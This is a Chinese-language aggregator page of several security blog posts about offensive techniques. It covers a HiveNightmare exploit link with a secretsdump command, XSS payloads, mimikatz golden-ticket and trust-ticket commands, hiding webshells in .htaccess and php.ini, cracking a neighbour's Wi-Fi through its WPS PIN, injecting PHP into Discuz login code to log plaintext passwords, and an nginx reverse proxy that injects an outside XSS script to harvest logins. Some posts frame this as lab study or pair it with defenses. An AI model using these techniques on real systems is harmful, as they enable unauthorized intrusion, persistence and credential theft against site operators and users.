【漏洞利用】CVE-2021-36934 利用允许您在 Windows 10 和 11 上以非管理员身份读取注册表配置单元 安全文章

【漏洞利用】CVE-2021-36934 利用允许您在 Windows 10 和 11 上以非管理员身份读取注册表配置单元

点击上方蓝字“Ots安全”一起玩耍HiveNightmare又名 SeriousSam,或现在的 CVE-2021-36934。利用允许您以非管理员身份读取任何注册表配置单元。这是什么?HiveNightmare 的零日漏洞利用,它允许您以非管理员用户身份检索 Windows 10 中的所有注册表配置单元。例如,这包括 SAM 中的哈希值,可用于以 SYSTEM 身份执行代码。下载这是最新版本的直接下载链接:https : //github.com/GossiTheDog/HiveNightmare/raw/master/Release/HiveNightmare.exe作者由@jonasLyk 发现。由@GossiTheDog 提供的 PoC,由 Porgs 提供支持。@0xblacklight、@DHerls、@HynekPetrak 的补充范围适用于所有受支持的 Windows 10 版本,其中启用了系统保护(在大多数配置中应默认启用)。这是如何运作的?默认情况下,在大多数 Windows 10 配置中,密钥注册表配置单元的权限设置为允许所有非管理员用户读取文件。这是一个错误。漏洞利用有什么作用?允许您读取 Windows 10 中的 SAM 数据(敏感)以及系统和安全配置单元。这个漏洞利用 VSC 来提取 SAM、SYSTEM 和 SECURITY 配置单元,即使在使用时,并将它们保存在当前目录中作为 HIVENAME-haxx,以用于任何破解工具,或者任何你想要的。拉出凭证python3 secretsdump.py -sam SAM-haxx -system SYSTEM-haxx -security SECURITY-haxx LOCAL更多信息?我写了一篇博客:https : //doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5漏洞利用视频:https : //www.youtube.com/watch?v=5zdIq6t3DOw文章参考:https://doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5 本文始发于微信公众号(Ots安全):【漏洞利用】CVE-2021-36934 利用允许您在 Windows 10 和 11 上以非管理员身份读取注册表配置单元
阅读全文
pikachu 靶场之XSS(跨站脚本) -下篇 安全文章

pikachu 靶场之XSS(跨站脚本) -下篇

前言大家好,我是Leon-pi,可以叫我pipi,新人报道,是个菜鸟,由于个人也是在学习过程中,文章写的也不是面面俱到,尽善尽美,请见谅。XSS 之盲打场景:一个留言板,只有后台才能看见前端存在的内容,从前端无法确定是否存在XSS漏洞,假设存在XSS漏洞,直接往里输入 XSS 代码,称为盲打。不论3721!,直接往里面插入XSS代码,然后等待,可能会有惊喜!!被动等待.....(当后台管理员登陆时就可能被攻击)1 构造payload‍<script>alert("attack!")</script>提交后,模拟管理员登录后台2 模拟管理员登录后台存在XSS漏洞,并且也是存储型XSSXSS 之过滤1 随便输入内容,然后输入特殊字符('"<>)2 输入 payload<script>alert("attack!")</script>什么也没发生,应该是过滤掉一些内容3 尝试绕过改动大小写<SCRIPT>alert("attack!")</SCRIPT>img 中 onerror事件<img src="x" onerror="alert('error!')">说明只是过滤了大小写,当然XSS绕过姿势不止一种,师傅们自行扩展XSS 之htmlspecialcharshtmlspecialchars函数概览调用该函数进行转换的字符如下函数转换的类型如果使用该函数对用户的输入进行处理,而保持默认转换类型可能会出现 XSS漏洞(仅编码双引号)1 输入 '"<>111 查看源码从源代码可以看出,单引号未进行过滤,只是过滤了双引号2 输入 payload#' onclick='alert("aaa")XSS 之href输出 javascript 伪协议语法javascript:someScript;someScript 是一个或多个使用 ; 分隔的 JavaScript 语句实例<a href="javascript:alert('JavaScript Link!');">JavaScript Link</a>XSS href 输出输出在 a 标签的 href 属性中,可以使用 JavaScript 协议来执行js防御:只允许http,https,其次再进行 htmlspecialchars 处理1 根据提示输入网址,查看源码2 点击链接跳转至百度2 使用 js协议 构造payloadjavascript:alert("aaa")XSS之 js输出1 输入aaa,查看源码这里发现输入的内容被放入到了js中2 构造payload';alert("attack xss")</script>XSS 防范:输入做过滤,输出做转义结语:本人菜弟弟一个,大佬勿喷,谢谢,如果觉得个人写的还凑活,三连(点赞+关注+转发)一哈吧💪谢谢各位师傅,祝各位师傅玩的开心😊 本文始发于微信公众号(亿人安全):pikachu 靶场之XSS(跨站脚本) -下篇
阅读全文
红队战术-从域管理员到企业管理员 安全文章

红队战术-从域管理员到企业管理员

  点击蓝字关注我哦前言一个企业的整个网络划分是非常巨大了,甚至有多个林,而这个域森林权力最大还属企业管理员了,当我们拿到一个域的dc的时候,当然不是红队的终点,我们的最终的目标是企业管理员,只要我们拿下了企业管理员,整个企业内网才算真正拿下。基础知识补充企业管理员:是域森林根域中的企业管理员组成员,该组的成员在域森林中的每一个域内的administrators组的成员,对所有的域控制器具有完全的访问权限。域信任:原本作用是为了解决多域环境下的跨域资源共享问题,Active Directory通过域和林信任关系提供跨多个域或林的安全性。在跨信任进行身份验证之前,Windows必须首先确定用户,计算机或服务所请求的域是否与请求帐户的登录域具有信任关系,为了确定信任关系,Windows安全系统计算接收访问资源请求的服务器的域控制器与请求资源请求的帐户所在域中的域控制器之间的信任路径。信任架构图该体系结构为Active Directory提供了有效的通信基础结构。这些包括身份验证协议,网络登录服务,本地安全机构(LSA)和Active Directory中存储的受信任域对象(TDO)。身份验证协议包括:NTLM协议(Msv1_0.dll)Kerberos协议(Kerberos.dll)网络登录(Netlogon.dll)LSA(Lsasrv.dll)本地安全机构(LSA)是受保护的子系统,用于维护有关系统上本地安全所有方面的信息(统称为本地安全策略),并提供各种服务来在名称和标识符之间进行转换。LSA安全子系统以内核模式和用户模式提供服务,以验证对对象的访问,检查用户特权以及生成审核消息,LSA负责检查由受信任或不受信任域中的服务提供的所有会话票证的有效性。可信域对象组织内的每个域或林信任都由存储在其域内的“系统”容器中的“受信任域对象”(TDO)表示。TDO密码信任关系中的两个域共享一个密码该密码存储在Active Directory的TDO对象中。作为帐户维护过程的一部分,信任域控制器每三十天更改一次存储在TDO中的密码。因为所有双向信任实际上都是两个方向相反的单向信任,所以对于双向信任,此过程发生两次。信任具有信任和信任的一面。在受信任的方面,任何可写域控制器都可以用于该过程。 单向和双向信任建立以允许访问资源的信任关系可以是单向或双向的。单向信任是在两个域之间创建的单向身份验证路径。在域A和域B之间的单向信任中,域A中的用户可以访问域B中的资源。但是,域B中的用户不能访问域A中的资源。Active Directory林中的所有域信任都是双向的可传递信任。创建新的子域时,将在新的子域和父域之间自动创建双向传递信任。在双向信任中,域A信任域B,域B信任域A。这意味着可以在两个方向之间的两个域之间传递身份验证请求。某些双向关系可以是非传递性的,也可以是传递性的,具体取决于所创建的信任类型。传递性和非传递性信托传递性决定了信任是否可以扩展到与其形成联系的两个域之外,传递信任可用于扩展与其他域的信任关系,非传递信任可用于拒绝与其他域的信任关系。每次您在林中创建新域时,都会在新域与其父域之间自动创建双向传递信任关系。如果将子域添加到新域,则信任路径将向上流动通过域层次结构,从而扩展在新域及其父域之间创建的初始信任路径。传递信任关系在域树形成时在域树中向上流动,从而在域树中的所有域之间创建传递信任。身份验证请求遵循这些信任路径,因此林中任何域的帐户都可以由林中的任何其他域进行身份验证。通过单个登录过程,具有适当权限的帐户可以访问林中任何域中的资源。域环境只会接收来自受信任的域的凭据,域信任利用dns服务器定位两个不同子域的域控制器,所以在设置两个域之间的信任关系的时候,得先在两个DC上设置条件DNS转发器,然后再通过建立受信任的域来添加新的信任关系。实际操作第一步获取域信任关系:Nltest /domain_trusts(::GetCurrentDomain()).GetAllTrustRelationships()Get-ADTrust -Filter *当然还可以通过拿到的dc去枚举另一个域dc的用户组,sid等。。。接下来有两种情况,如果我们拿到了一个域的krbtgt账户hash就可以直接生成一个林中的黄金票据,当然这如果控制了一个域的控制器肯定拿到了,第二种就是不用krbtgt,稍微麻烦了一点。首先第一种,拿到了林下任意域的krbtgt-hash原理依据,从父域派生出来的子域默认是相互信任关系(这是通过域信任对父域攻击,成功获取企业管理员的关键),所以我们拿到任意子域krbtgt,就可以制作到父域的黄金票据。获取krbtgt账户的sidwmic useraccount get name,sid生成黄金票据:Mimikatz "kerberos::golden /user:Administrator /domain:当前域名 /sid:当前域sid /sids:目标域sid /krbtgt:hash"关键在于:我们需要替换sids的最后三位值从502(krbtgt)替换为519(企业管理员),此过程的这一部分称为SID历史跳跃攻击:sidHistory-hopping,sidHistory跳跃攻击再次证明了林是信任的边界,而不是域。把当前票据注入内存然后尝试访问目标服务。现在,由于sidHistory-hopping攻击的出现, 微软发布了允许企业或组织改变krbtgt账户密码的脚本,为了使其对单个域的林有效,密码必须更改两次,也就是说林中每个域中的krbtgt帐户的密码必须要更改两次才有效,次攻击就不是很有效。第二种,通过域信任密钥:根据Active Directory技术规范的第6.1.6.9.6.1节,域间信任密钥每30天自动轮换一次,而当krbtgt账户发生了更改,它们不会轮换,因此,如果我们拿到了域信任迷密钥,我们仍然可以通过可以使用sidHistory方法来获得信任。通过kerberos跨域信任的工作图:当用户将这个跨域TGT票证引用提交给外部域之前,会被域间信任密钥签名,而TGT也包括在内,那么外部域看到这个签名的时候,就会完全信任此用户TGT票据,并认为此票据所有信息都是正确的,因为这一切都是两个受信任的域控之间协商好了。依据原理:只要拿到了两个域之间的信任密钥,就可以伪造一张第一个域内的任意用户的TGT首先得拿到当前域的sid,目标域的sid,信任密钥:mimikatz.exe " privilege::debug""lsadump::trust /patch"使用mimikatz创建信任票据:mimikatz “kerberos::golden /domain:当前域名 /sid:当前域sid /sids:目标域sid /rc4:获取域信任密钥 /user:伪造的用户名 /service:要访问的服务(一般为krbtgt) /target:目标域名 /ticket:票据名(Gamma.kirbi)”这里只是生成了被域信任密钥签名的tgt,还没有tgs,所以得拿着这个tgt获取tgsAsktgs 票据名(Gamma.kirbi) CIFS/目标的域控然后把票据注入到内存,然后尝试访问目标服务。如果外部信任和林信任存在sid过滤机制,则无法利用sidhistiory,则时候就可以根据林中的服务来进行横向,一直找到企业管理员为止END看完记得点赞,关注哟,爱您!请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!在看你就赞赞我!扫码关注我们扫码领hacker资料,常用工具,以及各种福利转载是一种动力 分享是一种美德    本文始发于微信公众号(Gamma实验室):红队战术-从域管理员到企业管理员
阅读全文
域控制器权限持久化分析和防范 安全文章

域控制器权限持久化分析和防范

在获得域控制器的权限后,攻击者通常会对现有的权限进行持久化操作。DSRM域后门DSRM域后门介绍DSRM(Directore Services Restore Mode,目录服务恢复模式)是Windows 域环境中域控制器的安全模式启动项。每个域控制器有一个本地管理员账户(也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建之初,DSRM的密码需要在安装DC时设置,且很少会被重置。在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个域控制器都由本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员账户,通过网络连接域控制器,进而控制域控制器。DSRM域后门的防御措施定期检查注册表中用于控制DSRM登录方式的键值HKLSystemCurrentControlSetControlLsaDsrmAdminLogonBehavior,确认该键值为1,或者删除该键值定期修改域中所有控制器的DSRM账号经常检查ID为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中SSP维持域控权限SSP介绍SSP(Security Support Provider)是Windows操作系统的安全机制的提供者。简答的说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如NTML、Kerberos、Negotiate、Secure Channel、Digets、Credential。SSPI(Security Support Provider Interface,安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口,可以说,SSPI是SSP的API接口。如果获得了目标网络的System权限,可以使用该方法进行持久化操作,其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为Windows的系统进程,用于本地安全和登陆策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能获取到lsass.exe的明文密码。这样,即使用户更改密码重新登陆,攻击者依然能获取该账号的新密码。SSP维持域控制器权限的防御措施检查HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages项中是否有可疑的DLL文件检查C:WindowsSystem32目录下是否有可疑DLL文件使用第三方工具检查LSA中是否有可疑的DLL文件3 SID History域后门SID History域后门介绍每个用户都有自己的SID,SID的主要作用是跟踪安全主题控制用户连接资源时的访问权限。SID History是在域迁移过程中需要使用的一个属性。如果A域中的域用户迁移到B域中,那么在B域中的新建用户的SID会随之改变,进而影响迁移后的用户权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后的用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能访问其原来可以访问的资源。在渗透测试中,如果获得了域管理员权限,就可以将SID History作为持久化的方法。SID History域后门的防御措施经常查看域用户中SID为500的用户完成域迁移工作后,对有相同SID History属性的用户进行检查定期检查ID为4765和4766的日志:4765为将SID History属性添加到用户的日志;4766为将SID History属性添加到用户失败的日志4 Golden TicketGolden Ticket介绍在渗透测试中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控制的机器进行断网处理,然后进行日志分析取证。然而,攻击者往往会留下多条进入内网的通道,如果我们忘记将krbtgt账号重置,攻击者就可以很快拿到域控制器权限。krbtgt是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt的NYLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。攻击者在使用域的Golden Ticket(黄金票据)进行票据攻击时,通常需要掌握以下信息:需要伪造的域管理员用户名完整的域名域SIDkrbtgt的NTLM Hash或AES-256值使用Golden Ticket伪造的用户可以是任意用户(即使这个用户不存在),因为TGT的加密是由krbtgt完成的,所以,只要TGT被krbtgt账户和密码正确的加密,那么任意KDC使用krbtgt将TGT解密后,TGT的所有信息都是可信的。Golden Ticket攻击的防御措施管理员通常会修改域管理员的密码,但有时会忘记将krbtgt密码一并重置,所以,要想防止Golden Ticket攻击,就需要将krbtgt密码重置两次。5 Silver TicketSilver Ticket介绍Silver Ticket(白银票据)不同于Golden Ticket。Silver Ticket的利用过程是伪造TGS,通过已知授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT真伪进行校验。Silver Ticket依赖于服务账号的密码散列值,这不同于Golden Ticket利用需要使用krbtgt账号密码的散列值,因此更加隐蔽。Golden Ticket使用krbtgt账号的密码散列值,利用伪造最高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获得域控制器权限。而Silver Ticket会通过相应的账号服务来伪造TGS,范围有限,只能获得对应的权限服务。Golden Ticket是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的。攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:域名域SID目标服务器的FQDN可利用的服务服务账号的NTLM Hash需要伪造的用户名Silver Ticket攻击的防范措施在内网中安装杀毒软件,及时更新系统补丁使用组策略在域中进行相应的设置,现值mimikatz在内网中的使用计算机的账号密码默认30天清理一次,检查该设置是否生效6 Skeleton Key使用Skeleton Key(万能密码),可以对域内权限进行持久化操作。使用mimikatz注入Skeleton Key,注入成功后。会在域内的所有账号中添加万能密码:mimikatzSkeleton Key攻击的防范措施域管理员要设置强口令,确保恶意代码不会再域控制器内执行在所有域用户中启动双因子认证,例如智能卡认证启动应用程序的白名单,以限制mimakatz在域控制器中的运行7 Hook PasswordChangeNotifyHook PasswordChangeNotify的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输入的密码明文。Hook PasswordChangeNotify攻击的防御措施使用Hook PasswordChangeNotify不需要重启系统、不会再系统磁盘上留下DLL文件、不需要修改注册表。如果Hook PasswordChangeNotify被攻击者利用,网络管理员是很难检测到的。所以,在日常的网络维护工作中,需要对PowerShell进行严格检视,并启用约束语言模式,对Hook PasswordChangeNotify进行防御。 本文始发于微信公众号(黑白天实验室):域控制器权限持久化分析和防范
阅读全文
如何和管理员玩躲猫猫/权限维持 安全文章

如何和管理员玩躲猫猫/权限维持

如何和管理员玩躲猫猫/权限维持有些时候,当你对于一个服务器getshell以后,例如有一个webshell,但是可能被对方的管理员发现,在发现之前我们有什么办法让自己的后门藏起来呢,方便被删权限以后再次控制机器 都是基本操作 别笑我 求求你们了本文环境ubuntu 16.04 + php + mysql另外不同操作基于不同权限 有可能是root 有可能是webserver的权限Webshell/Web>* 基于web服务的一句话下和管理员进行的捉迷藏一个最简单的webshell一句话1.藏于一些对方的文件下,比如upload/image/等文件夹里夹带着大量文件的文件夹你可以直接写成php后缀的文件 当然 这很容易被发现2.可以利用htaccess文件进行重写在我的环境下(上文提及) 默认是不开启rewriteps:我以前是在的centos之类的做的多 ubuntu我还找了一下配置文件sudo a2enmod rewritesudo vim /etc/apache2/sites-enabled/000-default#将/var/www 下的AllowOverride None 修改为 AllowOverride All,如果没有看到这项内容,可以修改apache2.conf配置文件:sudo vim /etc/apache2/apache2.confsudo /etc/init.d/apache2 restart基于htaccess bakcdoor操作的有很多我也是抛砖引玉弊端:虽然说大部分网站都是会主动开启rewrite 但是还是怕脸黑 如果需要开rewrite 是需要root权限重启服务的 而且修改的配置文件多 动静大越来越多的管理员有安全意识 类似存放Img文件 doc文件会开启禁止执行的权限限制优点:虽然也不算什么优点 但还是说说.htaccess 在linux中是.开头 属于隐藏文件 ls可能还没看见  如果在一个正常的图片中插入代码可能更难发现img code &lt;phpwebshell&gt;img code权限在不用开启rewrite的情景下 只用webserver另外 如果文件名最好是符合同文件夹下的命名规则 例如xxx时间撮.jpg 这样子管理员追查日志更难找到 而不是醒目的1.jpg konjac.jpg xxx.jpg....暂时想不到 loading....还有关于这种操作的技巧希望还有大佬们讲讲2.藏于php.iniphp.ini是php的配置文件 可以用来控制php的某些功能  在这个文件上可以做很多操作举个例子在/etc/php7.0/apache2/php.ini中 (本文测试环境,以后的路径都不再说明); Automatically add files before PHP document.; http://php.net/auto-prepend-fileauto_prepend_file =; Automatically add files after PHP document.; http://php.net/auto-append-fileauto_append_file =其中有这样子的2个配置auto_prepend_file =auto_append_file =根据注释可以看明白 一个是在php文档之前自动添加文件。一个是在php文档后自动添加文件。我们来实验一下修改php.ini文件 这个参数是受到include_path限制的 所以我们给这2个参数进行修改 我这里放在了网站目录 你也可以放在别的php有权限的地方更加隐蔽 比如/tmp /etc/php/xxx/等等修改参数以后我一直重启php发现没有生效 然后才知道是重启apache重启以后访问一个文件的确是在test.php 前面自动include了一个文件然后我们延伸一下 自php5.3开始 php支持基于每个目录的.htaccess风格的ini文件 说的通俗点 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。当然了 不是php.ini所有的设置你都可以做操作 是有具体模式的PHP_INI_USER...
阅读全文
WPA/WPA2密码破解&如何无视管理员更改无线密码&手工破解WPA/WPA2密码 安全文章

WPA/WPA2密码破解&如何无视管理员更改无线密码&手工破解WPA/WPA2密码

说明:        前两天看到论坛有人发了一篇社人邮箱思路的文章,大概讲的是通过给对方发一个无线路由,然后扫无线密码,嗅探之...        其中还有密码破解被骗500的事情,看来也有朋友对无线路由破解这一块不是很了解,就有了这篇文章...        本教程针对的是wpa/wpa2加密的无线路由,技术点是每个路由独一无二的PIN码,PIN码是由8位纯数字组成,并且8位数相互之间也有特定的算法,最多只有11000种可能性,根据本人经验,最多10个小时也就成功跑出PIN码,也就是大家晚上睡一觉的时间,相对于有N多种可能的路由密码来说,这已经是非常简单的了。下面是教程:0x01  所需工具虚拟机: vmware (自己网上找)操作系统:CDlinux0.9.6.1镜像文件(放迅雷里下)QSS设置:QSS连接软件无线网卡:taobao之(为了加大功率,要是无线信号好没有应该也可以,不过pin破解这回事,网卡比机器配置重要很多,而且有了无线网卡,不仅笔记本信号更好,家里台式机也可以大方的蹭网了,几十块钱,何乐不为呢)0x02  详细过程        A. 将下载的镜像系统装到虚拟机中        B. 将无线网卡插上后依次点击   虚拟机〉〉可移动设备〉〉“你的usb网卡”〉〉与主机连接或断开        如图:         C. 打开桌面上的minidwep-gtk,点击扫描        D. 很快minidwep-gtk-30513就有结果了        E. 路由后面带有wps的就说明开启了QSS的功能,这样我们就可以直接破解了。选中带有wps的路由点击“Reaver” 就开始破解路由的pin码了。只要信号好,算出来只是时间问题,运气好的话2~3小时就可以出密码了。        上面的97478652就是我们要的pin码了,同时密码也算出来了,即第二行的76543210。这样,密码就破解了,尽情享受吧!        重点来了...        当然,要是路由主人察觉到有人在蹭网,肯定会把密码改了,不过没关系,只要我们记住了pin码,随便怎么改密码,都可以破解。这时候我们就用到上面的QSS软件了。打开QSS连接软件,下一步:        在框中输入破解得到的pin码。点击下一步,软件会自动寻找路由,自动连接啦,麻麻从此再也不用担心隔壁蜀黍改密码了.....0x03  最后 再教大家一个手动破解wpa加密的东西        刚才我们利用路由器的Pin码就可以连接对方无线路由了,其实Pin码是可以根据路由MAC地址进行计算的,看下图        开启你的钛合金狗眼,路由MAC地址是知道的,有没有。计算方法        比如路由的mac地址为:c8:3a:35:1a:2b:3c,打开计算器: 运行》calc        点击  查看》程序员    选择十六进制          输入mac地址的后六位 :        再点击 十进制         计算得到的 就是路由的pin的前7位了,pin码共由8位数字组成,前7位已经出来了,最后一位自己猜呀猜就出来了,猜出了就直接连接路由啦。骚年们,别去干坏事额...个人再总结一下:目前wifi破解我了解的无非三种模式:wep,wpa,wpa-psk        wep就简单了,现在任何工具都能秒破,wpa-psk可以利用pin包来破解,也就是这篇文章的主要内容,对于泪少所提到的目前部分路由器pin多次后会封包的问题,我觉得可以借鉴anlfi所提到的利用多个网卡多线程小段跑pin来解决,至于wpa加密方式,目前比较流行的是抓握手包,然后跑包破解,也就是穷举。自己资源够的高富帅可以自行跑包,用386的孩纸可以去http://anywlan.com/forum.php逛逛,有好心人会帮你破解的。...
阅读全文
教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答 安全文章

教你截获dz2.5的用户明文密码、管理员明文密码、邮箱、登录问答

最近碰到个discuz X2.5论坛,通过旁注拿到了webshell,但目标是要拿到这个discuz论坛的用户资料(包括密码)。初步想法是在discuz的代码里动下手脚,找到用户登录成功代码,然后加段代码将成功认证的用户密码等信息写到一个文件上去。下面逐步作记录。第一个任务是截取论坛用户成功认证的登录密码。版本:discuz X2.5最新版----begin---------------------------------------------------------------------------------------------------------------------搭建环境完毕,用admin正常用户登录,抓个包看看:POST /bbs/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1内容:fastloginfield=username&username=admin&password=admin888&quickforward=yes&handlekey=ls先从member.php开始看。三个核心的基础类:------------------------------------------------------------------------------------------------------------------------------基类:discuz_base(sourceclassdiscuzzdiscuz_base.php)            虚类,定义一些基础操作:get,set,call等||  discuz_application继承discuz_base|discuz_application(sourceclassdiscuzzdiscuz_application.php)    核心:环境变量、数据库、设置、用户设置、输入过滤、输出等|| 虽然不是继承,但其直接由discuz_application生成:self::$_app = discuz_application::instance();|core(sourceclassclass_core.php)                                  再做一些封装,导入一些需要的库------------------------------------------------------------------------------------------------------------------------------一开始不要绕进这些类去,大概看下结构后,还是顺着主脉络走:$discuz = C::app();   #建core类$discuz->init();      #调用了discuz_application的init(),初始化了user、db、session等大量东西之后require了三个文件:require libfile('function/member');                       #/source/function/function_member.php,关键函数userlogin()require libfile('class/member');                          #/source/class/class_member.php,关键函数on_login(),on_login()经大量验证后最终调用userlogin()require /source/module/member/member_'.$mod.'.php';       #/source/module/member/member_logging.php,调用class_member的on_login()这里的关键在member_logging.php,是用户认证的启动代码$ctl_obj = new logging_ctl(); #new了一个class_member对象,DISCUZ_ROOT/source/class/class_member.php$ctl_obj->setting = $_G;$method = 'on_'.$_GET;$ctl_obj->template = 'member/login';$ctl_obj->$method(); #调用class_member的on_login()所以,用户的认证代码在/source/class/class_member.php的on_login()。理下脉络:------------------------------------------------------------------------------------------------------------------------------member.php->member_logging.php->class_member的on_login()------------------------------------------------------------------------------------------------------------------------------on_login()中,经过大量验证后,调用了source/function/function_member.php的userlogin()函数:$result = userlogin($_GET, $_GET, $_GET, $_GET, $this->setting ? 'auto' : $_GET, $_G);userlogin又继续调用uc的uc_user_login(uc_clientclient.php)$return = uc_user_login(addslashes($username), $password, $isuid, 1, $questionid, $answer, $ip);uc_user_login实际是调用了用户自定义函数的宏UC_API_FUNC,后面是这个用户自定义函数的参数:$return = call_user_func(UC_API_FUNC, 'user', 'login', array('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer));宏UC_API_FUNC在uc_clientclient.php中定义为:define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');uc_api_mysql也在uc_clientclient.php中定义,uc_api_mysql($model, $action, $args=array()),所以最终相当于调用了:uc_api_mysql(user,login,('username'=>$username, 'password'=>$password, 'isuid'=>$isuid, 'checkques'=>$checkques, 'questionid'=>$questionid, 'answer'=>$answer)));而uc_api_mysql最终是调用uc_clinet/control/user.php的on_login()函数:return $uc_controls->$action($args);#调用uc_clinet/control/user.php中的on_login()至此进入了最底层的用户认证核心函数,回溯下主脉络-------------------------------------------------------------------------------------------------------------------------------member.php -> member_logging.php -> class_member(on_login()) -> function_member.php的userlogin() -> client.php(uc_user_login())-> call_user_func(UC_API_FUNC) -> uc_api_mysql() -> uc_clinet/control/user.php(on_login())-------------------------------------------------------------------------------------------------------------------------------从uc_clinet/control/user.php的on_login()获得几个信息:1、其又调用了uc_clinet/model/user.php的get_user_by_username($username),这个函数最终封装了数据库查询;2、discuz用户密码加密的方式为:md5(md5(password).$user),其中的salt由substr(uniqid(rand()), -6)生成(取了随机数转换为微秒的末尾6位)。每个用户的salt都存在uc的member表中。3、on_login()最后返回:array($status, $user, $password, $user, $merge),其中的$status是关键,成功认证的,这个$status就是用户uid,否则是负数。至此整个认证分析流程走完。下面的工作就比较简单了,选择适当的节点,把成功认证的用户信息写到一个服务器文件中。可选的地方非常多,随手挑一个节点:source/function/function_member.php的userlogin()。看具体代码:登录完成后,程序检测返回数组中的sataus是否为合法的用户uid,是就登录成功。所以在以上代码片段的第57行插入写服务器文件代码即可。随便列一段插入的代码:#---------------------------------------------------------code--------------------------------------------------------------------------------$loversorry=$tmp.'|'.$tmp.'|'.$password.'|'.$tmp.'|'.$questionid.'|'.$answer.'|'.date('Y-m-d H:i:s',time()).'|'.$ip;$fp=fopen(DISCUZ_ROOT.'./source/loversorry.php','a+');fputs($fp,$loversorry);fclose($fp);#---------------------------------------------------------code--------------------------------------------------------------------------------测试比较成功,仅记录成功登录的用户信息。下面进入第二个任务,在服务器上单独再写个文件,只记录成功认证的管理员用户信息。----begin---------------------------------------------------------------------------------------------------------------------经过上面的分析,接下来的工作应该比较简单了。还是走老路子,管理员账户登录后,点管理中心,然后截个包看看:----admin.php抓包-------------------------------------------------------------------------------------------------------------POST /bbs/admin.php? HTTP/1.1Cookie: IvGn_2132_auth=4dfdu3TI9rhGBlQUg1Jcr7aSeYa9odVMel4nO%2BiLwLZFI1zY5458zA8fHZxA%2B0Gz%2BsB8rs%2BTBJlHodlqqubF; IvGn_2132_sid=k6Oyks; IvGn_2132_saltkey=mVSQqAFp;...
阅读全文
【奇技淫巧】利用反代获取管理员信息与脱裤 安全文章

【奇技淫巧】利用反代获取管理员信息与脱裤

        思路来源于https://www.t00ls.net/thread-37421-1-1.html这个帖子里讨论的        假如我们运气好社工到了域名密码,能否做一个类似CND加速代理的东西,把域名解析到我们自己的服务器,然后在我们自己服务器上监控数据截取后台地址及密码等敏感信息        答案肯定是可以的,而且nginx反代是最方便的玩法,但仅仅获取管理密码,会不会太无聊了?        脱裤理论上也是可以的,这样即使拿不到服务器权限,也可以危害到数据库。思路大概是这样:        获取到域名或dns权限-配置cname 或者a解析到自己的反代服务器-反代替换所有数据包加入xss代码-获取到登录表单0x01 nginx反代配置        替换包内容可以用ngx_http_subs_filter_module来解决,效果都是差不多的。        具体的安装过程和普通的三方模块一样,不会的可以参考:http://www.cnblogs.com/dudu/p/nginx-subs_filter.html        安装过程不再赘述        配置        新建一个站点的配置文件,在/etc/nginx/nginx.config中配置subs_filter,如下内容:        这里的subs_filter   11001072是网站上需要替换的代码,123456789是你想替换上去的内容,一般就替换</body>到<script src=http://xss.net/xss></script></body>        重启nginx服务systemctl restart nginx        另外,配置文件里有一个 sub_filter_once on | off; 是控制替换次数的,on就会替换一次,off就全部替换,看具体情况而定。0x02 xss代码配置        这里需要用到xss的表单劫持,一般用xss.js就够了。百度到的xss平台一般都有这个模块,http://webxss.net/ 比如这个,或者用一些第三方模块:        都可以实现。0x03 最后        都配置ok之后,再打开目标站的就会自动被解析到我们的反代服务器,然后会员、管理员登录信息就都会被获取到xss平台,可以实现类似脱裤的效果。 本文始发于微信公众号(T00ls):【奇技淫巧】利用反代获取管理员信息与脱裤
阅读全文
PHPOK留言管理XSS(打管理员) 安全文章

PHPOK留言管理XSS(打管理员)

